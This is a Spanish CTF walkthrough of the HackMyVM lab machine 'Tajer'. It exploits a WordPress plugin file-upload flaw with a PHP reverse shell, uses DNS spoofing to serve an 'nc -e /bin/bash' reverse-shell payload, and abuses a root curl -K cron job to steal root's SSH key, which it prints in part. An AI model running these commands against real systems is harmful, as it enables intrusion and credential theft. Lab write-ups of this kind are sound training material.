Autor: Avijneyam
Dificultad: Medio
Enumeración
Como es costumbre, comienzo con una enumeración de puertos utilizando nmap.
h3rshel@kali:~/Desktop$ sudo nmap -p- 192.168.1.66
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-01 13:02 CEST
Nmap scan report for tajer.wordpress.hmv (192.168.1.66)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Después de un largo rato y muchas pruebas, pruebo a analizar dominios y subdominios relacionados con hackmyvm, hmv y tajer.
h3rshel@kali:~$ ffuf -u http://192.168.1.66 -H "Host: tajer.FUZZ.hmv" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 612
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.1.66
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: tajer.FUZZ.hmv
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 612
________________________________________________
[Status: 200, Size: 57682, Words: 2445, Lines: 287, Duration: 185ms]
* FUZZ: wordpress
[...]
Aparece el dominio tajer.wordpress.hmv.
Wpscan
Utilizo wpscan para continuar con la enumeración ya que se trata de un blog de wordpress.
h3rshel@kali:~/Desktop$ wpscan --url http://tajer.wordpress.hmv/ --api-token [api-token] -e
[...]
[+] tajer
| Location: http://tajer.wordpress.hmv/wp-content/plugins/tajer/
| Latest Version: 1.0.5 (up to date)
| Last Updated: 2016-06-03T18:02:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: Tajer - Unauthenticated Arbitrary File Upload
| References:
| - https://wpscan.com/vulnerability/655bc140-5bbf-4a7e-b20d-4343a75c0c67
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9206
| - http://www.vapidlabs.com/advisory.php?v=205
|
| Version: 1.0.5 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://tajer.wordpress.hmv/wp-content/plugins/tajer/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://tajer.wordpress.hmv/wp-content/plugins/tajer/readme.txt
[...]
Encuentro una vulnerabilidad arbitrary file upload, que me permite subir una shell.
Explotación
Creo un listener utiliznado nc -lvnp 1234.
Ahora toca subir la shell y ejecutarla.
h3rshel@kali:~/Desktop/tools$ curl -F "files=@rev_shell.php" http://tajer.wordpress.hmv/wp-content/plugins/tajer/lib/jQuery-File-Upload-master/server/php/index.php
h3rshel@kali:~/Desktop/tools$ curl http://tajer.wordpress.hmv/wp-content/plugins/tajer/lib/jQuery-File-Upload-master/server/php/files/rev_shell.php
Y obtengo sesión como www-data.
Escalado de privilegios
Utilizo pspy64 en busca de procesos ejecutandose en el background.
timeout 3m ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
[...]
2023/09/01 05:39:01 CMD: UID=1001 PID=1405 | /bin/sh -c /usr/bin/bash -c '/usr/bin/bash < <(/usr/bin/curl -s http://password.wordpress.hmv/k3vin)'
Se está ejecutando un script que hace una petición a password.wordpress.hmv y ejecuta el fichero k3vin.
Para este paso he utilizado ettercap para realizar dnsspoofing.
Dejo un enlace con una guia paso a paso para realizarlo: dnsspoofing
Modifico “/etc/ettercap/etter.dns”.
h3rshel@kali:~/Desktop/test$ tail -n 4 /etc/ettercap/etter.dns
# vim:ts=8:noexpandtab
#
password.wordpress.hmv A 192.168.1.20
Creo el script a ejecutar con una reverse shell.
h3rshel@kali:~/Desktop/test$ cat k3vin
nc -e /bin/bash 192.168.1.20 4444
Recibo la conexión.
h3rshel@kali:~/Desktop$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.66] 36786
id
uid=1001(kevin) gid=1001(kevin) groups=1001(kevin)
Encuentro el directorio “/opt/scripts” con dos ficheros.
kevin@tajer:/opt/scripts$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Apr 1 2022 .
drwxrwxrwx 4 root root 4096 Apr 1 2022 ..
-rw-r--r-- 1 root root 886 Apr 1 2022 code
-r-x------ 1 root kevin 677 Apr 1 2022 curl.py
kevin@tajer:/opt/scripts$ file code
code: python 2.7 byte-compiled
curl.py no lo puedo leer pero deber ser el script que ejecutaba “password.wordpress.hmv/k3vin”.
El archivo code es un ejecutable compilado de python 2.7. Lo llevo a mi máquina kali y lo abro con cutter.
Se puede ver que el programa abre un archivo llamado input.txt dentro de “/opt/kevin”
Creo el archivo y le doy una entrada.
kevin@tajer:/tmp$ echo "0xH3rshel" > /opt/kevin/input.txt
Ejecuto nuevamente pspy64 para ver si algo ha cambiando.
kevin@tajer:/tmp$ ./pspy64
[...]
2023/09/01 06:37:01 CMD: UID=0 PID=2208 | sh -c /bin/bash -c 'curl -o /tmp/result_06_37_01 -K 0xH3rshel'
Ahora hay un nuevo script ejecutandose.
La opcion “-K” de curl sirve para indicar un archivo de configuración, por lo que modifico “input.txt” para que sea una ruta a un fichero válido. A continuación creo el archivo de configuración indicando como url el archivo “id_rsa” del usuario root.
kevin@tajer:/opt/kevin$ cat input.txt
/tmp/0xH3rshel
kevin@tajer:/tmp$ cat 0xH3rshel
url = file:///root/.ssh/id_rsa
Al cabo de un poco, veo que se ha creado en “/tmp” un fichero “result_*” que contiene la clave privada del usuario root.
kevin@tajer:/tmp$ cat result_06_42_01
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs9pLCYq5/lSuraQbmqHsZzj/2C4zB8bQOch55wOfeX3mUgH3L4S7
Nr4fEFUzWTWTke2HVwIl+7x1GODlQfGxpN8TA+kZ4B5OVDLDzjdOLMBMaBpAbeehbdDK52
HtjYLRsQp5dCCkBHl0TkEA1CgPHaPZwdHvkU3f/Syt8wN8TIFm0bOWLR3fG7mrVn+dvUv1
tpPKbNbEU3hadszcKuYl2N/Oht2OeWDrZYa+N4ETpTXCZ1mG1z1mRb9oY5u7tfPL9VemyP
TqEFpjh24miUXCn63w58Uw+wB5OvOuWAMM1fLBiDrdiV+TLzQznw7ocdg3eYG93+tp1WFf
6uHCNKasQYrRQrjPGEqloxYJTqD7DRmwRWTtRDPLFDlkZAT1c89UnnOOZ1whOD3j9gU6t9
1majHKG0aL7ERIWI/2yeksZdaop81CoT9p68cIrtJoze68F0j7rFwPgxJ8F2OtO+YoJJkj
4bo044EGYEOcYogVxoVqdhpvj18ywCgBncIIT9y9AAAFiArlGZoK5RmaAAAAB3NzaC1yc2
[...]
Ahora solo queda utilizarla para iniciar sesión.
kevin@tajer:/tmp$ cat result_06_42_01 > root_rsa
kevin@tajer:/tmp$ chmod 600 root_rsa
kevin@tajer:/tmp$ ssh root@localhost -i root_rsa
[...]
Last login: Fri Apr 1 13:51:42 2022
root@tajer:~# :)
Muchas gracias a Avijneyam por esta máquina.